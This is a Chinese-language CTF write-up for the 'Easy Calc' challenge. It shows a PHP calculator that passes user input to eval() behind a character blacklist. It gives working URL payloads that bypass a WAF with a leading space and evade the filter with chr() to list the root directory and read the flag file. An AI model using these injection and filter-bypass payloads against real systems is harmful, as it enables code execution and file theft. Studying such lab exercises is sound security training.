[RoarCTF 2019]Easy Calc 1

follycat發表於2024-03-13

[RoarCTF 2019]Easy Calc 1

審題

image-20240303211144278

題目就是一個計算器。

看到原始碼有 calc.php

進入看到waf的原始碼

知識點

RCE

解題

  1. 稽核程式碼

    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
            $str = $_GET['num'];
            $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
            foreach ($blacklist as $blackitem) {
                    if (preg_match('/' . $blackitem . '/m', $str)) {
                            die("what are you want to do?");
                    }
            }
            eval('echo '.$str.';');
    }
    ?> 
    
  2. 由於頁面中無法上傳num,則輸入 num,在num前加入一個空格可以讓num變得可以上傳,而且在進行程式碼解析時,php會把前面的空格去除。

  3. 由於不能使用很多的字元,可以使用file_get_contents()函式,將ascii碼轉化為字元來繞過。

  4. 構造。

    ? num=var_dump(scandir(chr(47)))
    

    scandair可以列出指定路徑中的檔案目錄。

  5. 構造

    ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    

    得到flag